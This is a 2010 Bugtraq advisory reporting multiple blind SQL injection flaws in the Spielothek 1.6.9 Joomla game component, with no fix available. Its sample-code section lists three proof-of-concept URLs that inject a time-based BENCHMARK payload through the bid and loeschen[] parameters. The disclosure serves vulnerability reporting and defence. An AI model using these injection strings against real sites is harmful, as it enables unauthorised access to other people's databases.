[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    Spielothek 1.6.9 Joomla Component Multiple Blind SQL Injection
From:       Salvatore Fresta aka Drosophila <drosophilaxxx () gmail ! com>
Date:       2010-07-31 18:21:16
Message-ID: AANLkTiniy2QYQ7t3h2cNdUp4vFxcDk=YVRndyknu0wTN () mail ! gmail ! com
[Download RAW message or body]

["Spielothek_1.6.9_Joomla_Component_Multiple_Blind_SQL_Injection-31072010.txt" (text/plain)]

Spielothek 1.6.9 Joomla Component Multiple Blind SQL Injection

 Name              Spielothek
 Vendor            http://www.spielban.de
 Versions Affected 1.6.9

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-31

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

This  component  allows  you  to  present  your  users a
highscore-enabled game-area.It is based on the all known
joomlaflashgames, but with more features and with better
scoring method. You  can create own categories for games
and  let  your  site-visitors  have fun,  so  they  will
return.


II. DESCRIPTION
_______________

Some parameters  are not properly sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple Blind SQL Injection
 

A) Multiple Blind SQL Injection
_______________________________

Many  parameters  in  various  files such as battle.php,
scores.php  etc. are not properly sanitised before being
used in SQL queries.  Because  of the number of flaws, I
can't report the entire vulnerable code;  but  I can say
that  most  of the numeric fields have not been properly
checked.


IV. SAMPLE CODE
_______________

A) Multiple Blind SQL Injection

http://site/path/index.php?option=com_spielothek&task=savebattle&bid=-1 OR \
(SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))

http://site/path/index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR \
(SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))

http://site/path/index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 \
OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))


V. FIX
______

No fix.



[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic